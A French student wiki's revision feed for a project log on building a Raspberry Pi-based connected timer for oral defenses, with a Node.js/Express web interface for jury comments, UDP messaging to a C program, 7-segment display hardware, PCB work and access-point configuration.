&lt;br /&gt;
- Le timer sera double face afin qu'il soit visible par le jury et l'étudiant&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finalement, nous avons été amené à revoir les fonctionnalités proposées au cours du projet par manque de temps. L'application a été remplacé par un site web. Le système de vote n'a pas été mis en place mais le membre du jury peut écrire des commentaires à la personne qui soutient à travers le site web. La fonctionnalité de vibration à été remplacée par un système de modification de la coloration du timer présent sur le site web à partir d'un certain temps restant.&lt;br /&gt;
&lt;br /&gt;
Pendant cette séance, nous avons également établit une liste du matériel que nous utiliserons : une Raspberry pi pour faire tourner le serveur accessible en wifi, un transformateur 230VAC vers 5VDC pour alimenter la Raspberry, des afficheurs 7-segments, et un driver de leds pour utiliser le moins de sortie possible.&lt;br /&gt;
&lt;br /&gt;
==Séance 2==&lt;br /&gt;
&lt;br /&gt;
===Structuration du projet===&lt;br /&gt;
&lt;br /&gt;
Lors de cette séance, des afficheurs 7-segments nous ont été fournis. Cependant, ils présentent la particularité d'être alimenté avec 12V. Les alimenter directement par la Raspberry qui elle peut fournir 5V n'est donc pas possible. &lt;br /&gt;
&lt;br /&gt;
Nous anons essayé de trouver une solution pour le contrôle des LED. Nous en avons retenu deux : &lt;br /&gt;
&lt;br /&gt;
- Utiliser des pilotes de LED [http://www.ti.com/lit/ds/symlink/tlc5947.pdf TLC5947] &lt;br /&gt;
&lt;br /&gt;
- Utiliser des transistors&lt;br /&gt;
&lt;br /&gt;
Nous avons alors décidé de partir sur les pilotes de LED pour plus de simplicité, ces derniers gérant eux mêmes le courant fournis aux LED. Après avoir pris cette décision, nous avons débuté la conception de la carte sous Eagle. Nous avons choisi ce logiciel car les toutes les footprint des composants utilisés sont disponibles sur le net.&lt;br /&gt;
&lt;br /&gt;
Nous avons également pu trouver des bibliothèques python pour utiliser le pilote de leds, et commencer le programme. Nous utiliserons deux pilotes de leds en cascade que nous contrôlerons avec 3 GPIO de la Raspberry. Nous avons également prévu de rajouter un ATMega328p qui pourra lui aussi contrôler les pilotes si on modifie la position de trois jumper. L'ATMega sera relié à la Raspberry en série pour qu'il puissent être programmé à travers elle.&lt;br /&gt;
&lt;br /&gt;
Pour alimenter le device, nous avons ajouté à notre liste de matériel un transformateur 230VAC vers 12VDC pour alimenter les leds ainsi qu'un régulateur 12VDC vers 5VDC pour alimenter la Raspberry (2A). Ensuite la Raspberry se chargera d'alimenter les pilote de leds et l'ATMega328p.&lt;br /&gt;
&lt;br /&gt;
==Séance 3==&lt;br /&gt;
&lt;br /&gt;
===Carte électronique===&lt;br /&gt;
Durant cette séance nous avons finalisé le routage de la carte électronique suivant le circuit précédemment définit, et nous avons installer les librairies nécessaire à la programmation des pilotes de leds.&lt;br /&gt;
&lt;br /&gt;
Nous avons également tester les 7-segments qui nous ont étaient fournit, et nous nous sommes rendu compte qu'ils étaient à cathode commune et donc fonctionnaient différemment à ce qui a était indiqué sur la datasheet. Cela pose un problème puisque les pilotes de LED dont nous disposons ne sont pas compatibles avec cette configuration. Nous avons donc du nous tourner vers l'autre solution pour le contrôle des leds, celle avec les transistors. Disposant de 4 afficheurs à 7segments (+ le point), les GPIO de la Raspberry ne sont pas assez nombreux, nous avons donc du utiliser des registre à décalage pour contrôler toutes les sorties.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors passé cette séance à étudier les datasheet des différents composants et à établir un nouveau schéma pour la carte.&lt;br /&gt;
&lt;br /&gt;
Les afficheurs 7-segments de devant ayant à afficher la même chose que ceux de derrière, nous les connecterons entre eux afin réduire de moitié la quantité de composants à utiliser.&lt;br /&gt;
&lt;br /&gt;
===programme Raspberry===&lt;br /&gt;
&lt;br /&gt;
Durant cette séance, nous avons également penser au soft qui sera embarqué dans la Raspberry. Nous avions décidé de configurer la Raspberry en accesspoint WiFi et de faire tourner un serveur web qui sera accessible lorsque l'utilisateur se connecte au WiFi de la Raspberry. En parallèle, un autre programme tournera sur la Raspberry et s'occupera du calcul du Timer et du contrôle des leds. pour que le programme puisse communiquer avec le serveur nous avons plusieurs solutions que nous allons étudier : ipc, socket, écriture/lecture dans des fichiers.&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
&lt;br /&gt;
Selon la définition Wikipédia, Express est un framework nodejs permettant de mettre en place des applications web. Il s'agit du framework le plus utilisé dans ce but sous l'environnement NodeJS.&lt;br /&gt;
N'ayant jamais utilisé Express, nous avons dû se renseigner sur son fonctionnement et se documenter sur les possibilités du framework. &lt;br /&gt;
Express est basé sur une architecture typique MVC (Model-View-Controller). Nous pouvons définir des middlewares permettant de capturer les requêtes, de réaliser un traitement préalable, puis de renvoyer la page. Pour cela, il suffit de définir des routes, qui définirons les différentes requêtes HTTP possibles.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Route&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Méthode&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Description&lt;br /&gt;
|-&lt;br /&gt;
| /&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de réaliser un choix entre l'interface enseignant et étudiant&lt;br /&gt;
|-&lt;br /&gt;
| /prof&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de parametrer le timer, en informant le nom du créateur du timer,&lt;br /&gt;
la durée de celui-ci en minutes, et l'étudiant en question.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| GET&lt;br /&gt;
| Si un timer est configuré, affiche ce dernier, ainsi qu'un formulaire permettant &lt;br /&gt;
d'envoyer un commentaire.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| POST&lt;br /&gt;
| Permet de traiter soit un nouveau commentaire, soit de lancer le timer&lt;br /&gt;
|-&lt;br /&gt;
| /etudiant&lt;br /&gt;
| GET&lt;br /&gt;
| Permet d'afficher les commentaires et un timer approximatif, qui vire au rouge lorsque&lt;br /&gt;
le temps devient critique (&amp;lt;2 minutes)&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Les routes étant fixés et définies, nous pouvons passer à la réalisation.&lt;br /&gt;
&lt;br /&gt;
==Séance 4==&lt;br /&gt;
&lt;br /&gt;
===Carte électronique===&lt;br /&gt;
&lt;br /&gt;
Lors de cette séance, nous avons pu terminer la carte. Le schematic final est le suivant : &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:SchematicP4IOT.png|center|1000px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le PCB est le suivant : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:RoutageP4IOT.png|center|1000px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
Afin de pouvoir communiquer avec le programme principal manipulant le véritable timer, il est nécessaire d'implémenter une sorte de communication inter-processus. Le choix est porté sur la mise en place d'une liaison sockets UDP, qui sont plus pratique dans notre cas que des sockets basés sur TCP.&lt;br /&gt;
Ainsi, le module 'dgram' (pour datagram, de UDP datagram socket), permet d'écouter pour un 'datagram' sur un port particulier, ou simplement de broadcaster un message. &lt;br /&gt;
Le serveur web permettra ainsi d'envoyer la valeur du timer en secondes, tandis que le programme principal en C écoutera sur un port spécifié, et lancera le timer dès la réception de la valeur.  &lt;br /&gt;
Le code permettant l'envoi d'un message par socket UDP est simple à réaliser :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dgramtimer.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous avons décidés que le timer affiché sur les pages web est simplement à titre indicatif, soit, il ne représente pas réellement le véritable timer, dont la valeur est affiché sur les afficheurs 7 segments. Ce choix à été fait en raison du fait que nodejs et express ne tournent uniquement que sur un thread et ne permettent pas d'écouter sur un port et de rafraichir la page dès une réception.&lt;br /&gt;
Ainsi, dès le choix de la valeur du timer, nous sauvegardons la timestamp de fin de celui-ci et lançons le timer pour un compte à rebours vers cette valeur.&lt;br /&gt;
&lt;br /&gt;
Les commentaires quant à eux sont enregistrés dans un fichier sous format JSON, et dans le cas d'une requête GET, une lecture de ce fichier est réalisée et les commentaires affichés, tandis que dans le cas d'une requête POST, le fichier est réécris en mémoire avec le nouveau commentaire.&lt;br /&gt;
L'identifiant d'un professeur commentant est défini sur le formulaire de choix du timer en ne spécifiant que le champ identifiant. La valeur de ce dernier est enregistré dans un cookie de navigateur.&lt;br /&gt;
Les informations relatives au timer, au nom de l'étudiant et au créateur du timer sont enregistrés dans un autre fichier JSON et récupérés au besoin.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Entreeiot.png|300px]]&lt;br /&gt;
[[Fichier:CHOIXIOT.png|300px]]&lt;br /&gt;
[[Fichier:TimerProf.png|300px]]&lt;br /&gt;
&lt;br /&gt;
==Séance 5==&lt;br /&gt;
&lt;br /&gt;
===Gravure de la carte électronique===&lt;br /&gt;
&lt;br /&gt;
Après avoir récupéré la carte gravée, nous nous sommes rendu compte qu'il y avait eu un problème de perçage. En effet, certains trous non présents sur le schéma de routage se trouvaient la carte, d'autres n'étaient pas du tout présent ou alors pas à la bonne place. Pourtant, nous n’apercevions aucun problème lors de la vérification des fichiers gerber avec http://www.gerber-viewer.com/. Nous avons alors passé pas mal de temps à rechercher la cause du problème avec Monsieur Flamen. Finalement, le problème provenait de la génération des fichiers gerber. Après avoir corrigé le problème, la carte a pu être regravée correctement.&lt;br /&gt;
&lt;br /&gt;
===Configuration de la raspberry pi===&lt;br /&gt;
&lt;br /&gt;
Nous configurons la raspberry afin d'agir en tant que point d'accès afin de pouvoir accéder à l'interface web : &lt;br /&gt;
&lt;br /&gt;
Nous installons tout d'abord les paquets dnsmasq et hostapd, permettant de configurer le point d'accès et fournir le service DNS :&lt;br /&gt;
    $ sudo apt-get install dnsmasq hostapd&lt;br /&gt;
&lt;br /&gt;
Nous modifions le fichier  de configuration de dhcpcd en ajoutant : &lt;br /&gt;
    interface wlan0&lt;br /&gt;
        static ip_address=192.168.4.1/24&lt;br /&gt;
        nohook wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
Nous relançons ensuite le service dhcpcd.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite le fichier de configuration de dnsmasq, qui va définir la plage d'IPs à attribuer : &lt;br /&gt;
    interface=wlan0&lt;br /&gt;
      dhcp-range=192.168.4.2,192.168.4.20,255.255.255.0,24h&lt;br /&gt;
&lt;br /&gt;
Enfin, nous écrivons la configuration de notre point d'accès dans un fichier de configuration de hostapd : &lt;br /&gt;
&lt;br /&gt;
    interface=wlan0&lt;br /&gt;
    driver=nl80211&lt;br /&gt;
    ssid=TimerIOT&lt;br /&gt;
    hw_mode=g&lt;br /&gt;
    channel=7&lt;br /&gt;
    wmm_enabled=0&lt;br /&gt;
    macaddr_acl=0&lt;br /&gt;
    auth_algs=1&lt;br /&gt;
    ignore_broadcast_ssid=0&lt;br /&gt;
    wpa=2&lt;br /&gt;
    wpa_passphrase=timeriot&lt;br /&gt;
    wpa_key_mgmt=WPA-PSK&lt;br /&gt;
    wpa_pairwise=TKIP&lt;br /&gt;
    rsn_pairwise=CCMP&lt;br /&gt;
&lt;br /&gt;
Enfin, nous lançons les processus hostapd et dnsmasq : &lt;br /&gt;
 $ sudo systemctl start hostapd&lt;br /&gt;
 $ sudo systemctl start dnsmasq&lt;br /&gt;
&lt;br /&gt;
Nous rebootons enfin la raspberry. La page web est ainsi accessible en se connectant au point d'accès et en tapant http://192.168.4.1:3000 dans le navigateur.&lt;br /&gt;
&lt;br /&gt;
===Programme Raspberry===&lt;br /&gt;
&lt;br /&gt;
Pendant cette séance nous avons également finaliser le programme de la Raspberry et installer les librairies qui permettent d'utiliser le registre à décalage et les GPIO &amp;lt;code&amp;gt;WiringPi&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Dans ce programme, après les initialisations, une socket UDP est crée pour recevoir la valeur initiale du Timer depuis le serveur web. La socket est par la suite fermée et le message reçu converti en Entier. Puis deux threads sont lancés : Le premier qui permet le calcul du Timer en se basant sur la valeur initial et en utilisant l'horloge physique de la Raspberry (fonction : &amp;lt;code&amp;gt;clock_gettime(CLOCK_REALTIME, &amp;amp;&amp;lt;timespec&amp;gt;);&amp;lt;/code&amp;gt;), le deuxième thread contrôle les 7-segements après l'avoir parser en unités et dizaines. Les deux threads communiquent entre eux avec un pipe et un système de verrou pour synchroniser l'envoie et la réception. Finalement les threads et le pipe sont fermés proprement.&lt;br /&gt;
&lt;br /&gt;
Ce programme affiche les valeurs supérieurs à 99 secondes en minutes et celle inférieurs à 99 secondes en seconde. Le programme et disponible sur le git : https://github.com/ael-mess/raspberry-pi-timer/blob/master/pi.c&lt;br /&gt;
&lt;br /&gt;
==Séance 6==&lt;br /&gt;
&lt;br /&gt;
Durant cette séance nous avons combiner les deux programmes, et automatiser leurs lancement. Nous avons crée un script shell qui lance le serveur web, puis dans une boucle infini lance le Timer puis supprime les fichiers .json du controllers du serveur web à la fin de chaque timer. Ce script à était mis dans &amp;lt;code&amp;gt;/etc/.rclocal&amp;lt;/code&amp;gt; de la Raspberry en tache de fond, pour qu'il puissent être lancer à chaque allumage de la Raspberry même avant le loging.&lt;br /&gt;
&lt;br /&gt;
===Test===&lt;br /&gt;
&lt;br /&gt;
Pendant cette dernière séance nous avons également souder une partie de nos composants pour faire des tests. Le test de la partie électronique à révéler un comportement anormal du circuit : des segments de leds restent allumer sans que aucune tension sur la base des transistors ne soit appliquée. Nous nous sommes assuré de corriger toutes les erreurs de soudure/contact mais nous n'avions pas pu trouver la source du problème. L’hypothèse qui ont était émise est que la carte n'aillant pas était nettoyé avant la soudure, le contact n'était pas pareil pour tous les composants, et du coup le potentiel entre deux points reliées n'était pas identique (M.Thierry Flamen).&lt;br /&gt;
&lt;br /&gt;
La partie logiciel elle, marche très bien sans aucun comportement anormal.&lt;br /&gt;
&lt;br /&gt;
===Amélioration si plus temps===&lt;br /&gt;
&lt;br /&gt;
- prendre plus de temps pour réaliser et tester la partie hardware.&lt;br /&gt;
&lt;br /&gt;
- utiliser la socket pour l'envoie de chaque valeur du timer et non que pour la valeur initial. (parce que le timer calculer par le serveur web utilise la date de la Raspberry et n'est pas précis)&lt;br /&gt;
&lt;br /&gt;
==Flyer==&lt;br /&gt;
[[Fichier:Flyer timer iot.jpeg|800px|center]]&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49401</id>
		<title>P4 IOT 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49401"/>
				<updated>2019-01-21T00:00:23Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* Carte électronique */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Prenons le cas d'une soutenance de quatrième année, strictement limitée en temps. On ne voudrait surtout pas rater cette dernière et ne pas avoir l'occasion de passer en revue l'ensemble de ses slides ! Le jury ne souhaite cependant pas faire office d'arbitre ou d'interrompre la personne soutenant. Ainsi, un timer connecté permettant d'indiquer le temps restant aux deux parties est placé sur la table. Ce timer fait également office de point d'accès et permet de se connecter à une page web ou les enseignants peuvent noter des commentaires que l'étudiant peut observer en temps réel.&lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Le projet consiste donc à réaliser un timer connecté, disposant de 4 afficheurs 7 segments, dont deux feront face à l'étudiant et les deux autres au jury. Nous utilisons une raspberry pi 3, et nous basons ainsi notre timer sur le timer ARM de cette dernière. La raspberry fait également office de point d'accès permettant de délivrer une page web qui permet de configurer le timer.&lt;br /&gt;
Le code controllant les afficheurs 7 segments sera réalisé en C.&lt;br /&gt;
Le serveur web sera basé sur le framework express de node js.&lt;br /&gt;
Le PCB sera réalisé sous Eagle.&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* 1 Raspberry pi 3&lt;br /&gt;
* 4 afficheurs 7 segments [http://www.kingbrightusa.com/images/catalog/SPEC/SA23-11SRWA.pdf SA23-11SRWA]&lt;br /&gt;
* 16 transistors PNP [http://njsemi.com/datasheets/2N2894.pdf 2N2894]&lt;br /&gt;
* 2 multiplexeurs [https://www.diodes.com/assets/Datasheets/74HCT595.pdf 74HCT595]&lt;br /&gt;
* 16 résistances 56 Ohms&lt;br /&gt;
* 16 résistances 1,2kOhms&lt;br /&gt;
* 2 capacités 100nF&lt;br /&gt;
* 1 capacité 10uF&lt;br /&gt;
&lt;br /&gt;
==Séance 1==&lt;br /&gt;
&lt;br /&gt;
===Recherche d'un sujet et clarification du cahier des charges===&lt;br /&gt;
&lt;br /&gt;
Après avoir passé du temps à rechercher un sujet, nous nous sommes orienté vers le sujet proposé par les encadrants, le timer connecté. Nous avons alors passé le reste de la séance à effectuer des recherches sur le matériel à utiliser ainsi qu'à définir les fonctionnalités que présentera notre timer. Les fonctionnalités retenues sont les suivantes : &lt;br /&gt;
&lt;br /&gt;
- Une application mobile permettra de contrôler le timer&lt;br /&gt;
&lt;br /&gt;
- Si l'utilisateur est un membre du jury, il pourra modifier le timer&lt;br /&gt;
&lt;br /&gt;
- Si l'utilisateur est une personne qui soutient, il ne pourra que consulter le timer&lt;br /&gt;
&lt;br /&gt;
- Un système de vote sera disponible à partir de l'application&lt;br /&gt;
&lt;br /&gt;
- Lorsqu'il restera 2 minutes sur le timer, le téléphone de l'utilisateur vibrera&lt;br /&gt;
&lt;br /&gt;
- Le timer sera double face afin qu'il soit visible par le jury et l'étudiant&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finalement, nous avons été amené à revoir les fonctionnalités proposées au cours du projet par manque de temps. L'application a été remplacé par un site web. Le système de vote n'a pas été mis en place mais le membre du jury peut écrire des commentaires à la personne qui soutient à travers le site web. La fonctionnalité de vibration à été remplacée par un système de modification de la coloration du timer présent sur le site web à partir d'un certain temps restant.&lt;br /&gt;
&lt;br /&gt;
==Séance 2==&lt;br /&gt;
&lt;br /&gt;
===Structuration du projet===&lt;br /&gt;
&lt;br /&gt;
Lors de cette séance, des afficheurs 7-segments nous ont été fournis. Cependant, ils présentent la particularité d'être alimenté avec 12V. Les alimenter directement par la Raspberry qui elle peut fournir 5V n'est donc pas possible. &lt;br /&gt;
&lt;br /&gt;
Nous avons passé du temps lors de cette séance à trouver une solution pour le contrôle des LED. Nous en avons retenu deux : &lt;br /&gt;
&lt;br /&gt;
- Utiliser des pilotes de LED [http://www.ti.com/lit/ds/symlink/tlc5947.pdf TLC5947] &lt;br /&gt;
&lt;br /&gt;
- Utiliser des transistors&lt;br /&gt;
&lt;br /&gt;
Nous avons alors décidé de partir sur les pilotes de LED pour plus de simplicité, ces derniers gérant eux mêmes le courant fournis aux LED. Après avoir pris cette décision, nous avons débuté la conception de la carte sous Eagle. Nous avons choisi ce logiciel car les toutes les footprint des composants utilisés sont disponibles sur le net.&lt;br /&gt;
&lt;br /&gt;
==Séance 3==&lt;br /&gt;
&lt;br /&gt;
===Carte électronique===&lt;br /&gt;
&lt;br /&gt;
Après avoir bien avancé sur la carte, nous nous sommes rendu compte que les afficheurs utilisés étaient à cathode commune. Cela pose un problème puisque les pilotes de LED dont nous disposons ne sont pas compatibles avec cette configuration. Nous avons donc du nous tourner vers l'autre solution pour le contrôle des leds, celle avec les transistors. Disposant de 4 afficheurs à 7segments (+ le point), les GPIO de la Raspberry ne sont pas assez nombreux, nous avons donc du utiliser des multiplexeurs. Nous avons alors passé cette séance à étudier les datasheet des différents composants et à établir un nouveau schéma pour la carte.&lt;br /&gt;
&lt;br /&gt;
Les afficheurs 7-segments de devant ayant à afficher la même chose que ceux de derrière, nous les connecterons entre eux afin réduire de moitié la quantité de composants à utiliser.&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
&lt;br /&gt;
Selon la définition Wikipédia, Express est un framework nodejs permettant de mettre en place des applications web. Il s'agit du framework le plus utilisé dans ce but sous l'environnement NodeJS.&lt;br /&gt;
N'ayant jamais utilisé Express, nous avons dû se renseigner sur son fonctionnement et se documenter sur les possibilités du framework. &lt;br /&gt;
Express est basé sur une architecture typique MVC (Model-View-Controller). Nous pouvons définir des middlewares permettant de capturer les requêtes, de réaliser un traitement préalable, puis de renvoyer la page. Pour cela, il suffit de définir des routes, qui définirons les différentes requêtes HTTP possibles.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Route&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Méthode&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Description&lt;br /&gt;
|-&lt;br /&gt;
| /&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de réaliser un choix entre l'interface enseignant et étudiant&lt;br /&gt;
|-&lt;br /&gt;
| /prof&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de parametrer le timer, en informant le nom du créateur du timer,&lt;br /&gt;
la durée de celui-ci en minutes, et l'étudiant en question.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| GET&lt;br /&gt;
| Si un timer est configuré, affiche ce dernier, ainsi qu'un formulaire permettant &lt;br /&gt;
d'envoyer un commentaire.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| POST&lt;br /&gt;
| Permet de traiter soit un nouveau commentaire, soit de lancer le timer&lt;br /&gt;
|-&lt;br /&gt;
| /etudiant&lt;br /&gt;
| GET&lt;br /&gt;
| Permet d'afficher les commentaires et un timer approximatif, qui vire au rouge lorsque&lt;br /&gt;
le temps devient critique (&amp;lt;2 minutes)&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Les routes étant fixés et définies, nous pouvons passer à la réalisation.&lt;br /&gt;
&lt;br /&gt;
==Séance 4==&lt;br /&gt;
&lt;br /&gt;
===Carte électronique===&lt;br /&gt;
&lt;br /&gt;
Lors de cette séance, nous avons pu terminer la carte. Le schematic final est le suivant : &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:SchematicP4IOT.png|center|1000px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le PCB est le suivant : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:RoutageP4IOT.png|center|1000px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
Afin de pouvoir communiquer avec le programme principal manipulant le véritable timer, il est nécessaire d'implémenter une sorte de communication inter-processus. Le choix est porté sur la mise en place d'une liaison sockets UDP, qui sont plus pratique dans notre cas que des sockets basés sur TCP.&lt;br /&gt;
Ainsi, le module 'dgram' (pour datagram, de UDP datagram socket), permet d'écouter pour un 'datagram' sur un port particulier, ou simplement de broadcaster un message. &lt;br /&gt;
Le serveur web permettra ainsi d'envoyer la valeur du timer en secondes, tandis que le programme principal en C écoutera sur un port spécifié, et lancera le timer dès la réception de la valeur.  &lt;br /&gt;
Le code permettant l'envoi d'un message par socket UDP est simple à réaliser :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dgramtimer.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous avons décidés que le timer affiché sur les pages web est simplement à titre indicatif, soit, il ne représente pas réellement le véritable timer, dont la valeur est affiché sur les afficheurs 7 segments. Ce choix à été fait en raison du fait que nodejs et express ne tournent uniquement que sur un thread et ne permettent pas d'écouter sur un port et de rafraichir la page dès une réception.&lt;br /&gt;
Ainsi, dès le choix de la valeur du timer, nous sauvegardons la timestamp de fin de celui-ci et lançons le timer pour un compte à rebours vers cette valeur.&lt;br /&gt;
&lt;br /&gt;
Les commentaires quant à eux sont enregistrés dans un fichier sous format JSON, et dans le cas d'une requête GET, une lecture de ce fichier est réalisée et les commentaires affichés, tandis que dans le cas d'une requête POST, le fichier est réécris en mémoire avec le nouveau commentaire.&lt;br /&gt;
L'identifiant d'un professeur commentant est défini sur le formulaire de choix du timer en ne spécifiant que le champ identifiant. La valeur de ce dernier est enregistré dans un cookie de navigateur.&lt;br /&gt;
Les informations relatives au timer, au nom de l'étudiant et au créateur du timer sont enregistrés dans un autre fichier JSON et récupérés au besoin.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Entreeiot.png|300px]]&lt;br /&gt;
[[Fichier:CHOIXIOT.png|300px]]&lt;br /&gt;
[[Fichier:TimerProf.png|300px]]&lt;br /&gt;
&lt;br /&gt;
==Séance 5==&lt;br /&gt;
&lt;br /&gt;
===Gravure de la carte électronique===&lt;br /&gt;
&lt;br /&gt;
Après avoir récupéré la carte gravée, nous nous sommes rendu compte qu'il y avait eu un problème de perçage. En effet, certains trous non présents sur le schéma de routage se trouvaient la carte, d'autres n'étaient pas du tout présent ou alors pas à la bonne place. Pourtant, nous n’apercevions aucun problème lors de la vérification des fichiers gerber avec http://www.gerber-viewer.com/. Nous avons alors passé pas mal de temps à rechercher la cause du problème avec Monsieur Flamen. Finalement, le problème provenait de la génération des fichiers gerber. Après avoir corrigé le problème, la carte a pu être regravée correctement.&lt;br /&gt;
&lt;br /&gt;
===Configuration de la raspberry pi===&lt;br /&gt;
&lt;br /&gt;
Nous configurons la raspberry afin d'agir en tant que point d'accès afin de pouvoir accéder à l'interface web : &lt;br /&gt;
&lt;br /&gt;
Nous installons tout d'abord les paquets dnsmasq et hostapd, permettant de configurer le point d'accès et fournir le service DNS :&lt;br /&gt;
    $ sudo apt-get install dnsmasq hostapd&lt;br /&gt;
&lt;br /&gt;
Nous modifions le fichier  de configuration de dhcpcd en ajoutant : &lt;br /&gt;
    interface wlan0&lt;br /&gt;
        static ip_address=192.168.4.1/24&lt;br /&gt;
        nohook wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
Nous relançons ensuite le service dhcpcd.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite le fichier de configuration de dnsmasq, qui va définir la plage d'IPs à attribuer : &lt;br /&gt;
    interface=wlan0&lt;br /&gt;
      dhcp-range=192.168.4.2,192.168.4.20,255.255.255.0,24h&lt;br /&gt;
&lt;br /&gt;
Enfin, nous écrivons la configuration de notre point d'accès dans un fichier de configuration de hostapd : &lt;br /&gt;
&lt;br /&gt;
    interface=wlan0&lt;br /&gt;
    driver=nl80211&lt;br /&gt;
    ssid=TimerIOT&lt;br /&gt;
    hw_mode=g&lt;br /&gt;
    channel=7&lt;br /&gt;
    wmm_enabled=0&lt;br /&gt;
    macaddr_acl=0&lt;br /&gt;
    auth_algs=1&lt;br /&gt;
    ignore_broadcast_ssid=0&lt;br /&gt;
    wpa=2&lt;br /&gt;
    wpa_passphrase=timeriot&lt;br /&gt;
    wpa_key_mgmt=WPA-PSK&lt;br /&gt;
    wpa_pairwise=TKIP&lt;br /&gt;
    rsn_pairwise=CCMP&lt;br /&gt;
&lt;br /&gt;
Enfin, nous lançons les processus hostapd et dnsmasq : &lt;br /&gt;
 $ sudo systemctl start hostapd&lt;br /&gt;
 $ sudo systemctl start dnsmasq&lt;br /&gt;
&lt;br /&gt;
Nous rebootons enfin la raspberry. La page web est ainsi accessible en se connectant au point d'accès et en tapant http://192.168.4.1:3000 dans le navigateur.&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49400</id>
		<title>P4 IOT 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49400"/>
				<updated>2019-01-20T23:58:20Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* Séance 4 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Prenons le cas d'une soutenance de quatrième année, strictement limitée en temps. On ne voudrait surtout pas rater cette dernière et ne pas avoir l'occasion de passer en revue l'ensemble de ses slides ! Le jury ne souhaite cependant pas faire office d'arbitre ou d'interrompre la personne soutenant. Ainsi, un timer connecté permettant d'indiquer le temps restant aux deux parties est placé sur la table. Ce timer fait également office de point d'accès et permet de se connecter à une page web ou les enseignants peuvent noter des commentaires que l'étudiant peut observer en temps réel.&lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Le projet consiste donc à réaliser un timer connecté, disposant de 4 afficheurs 7 segments, dont deux feront face à l'étudiant et les deux autres au jury. Nous utilisons une raspberry pi 3, et nous basons ainsi notre timer sur le timer ARM de cette dernière. La raspberry fait également office de point d'accès permettant de délivrer une page web qui permet de configurer le timer.&lt;br /&gt;
Le code controllant les afficheurs 7 segments sera réalisé en C.&lt;br /&gt;
Le serveur web sera basé sur le framework express de node js.&lt;br /&gt;
Le PCB sera réalisé sous Eagle.&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* 1 Raspberry pi 3&lt;br /&gt;
* 4 afficheurs 7 segments [http://www.kingbrightusa.com/images/catalog/SPEC/SA23-11SRWA.pdf SA23-11SRWA]&lt;br /&gt;
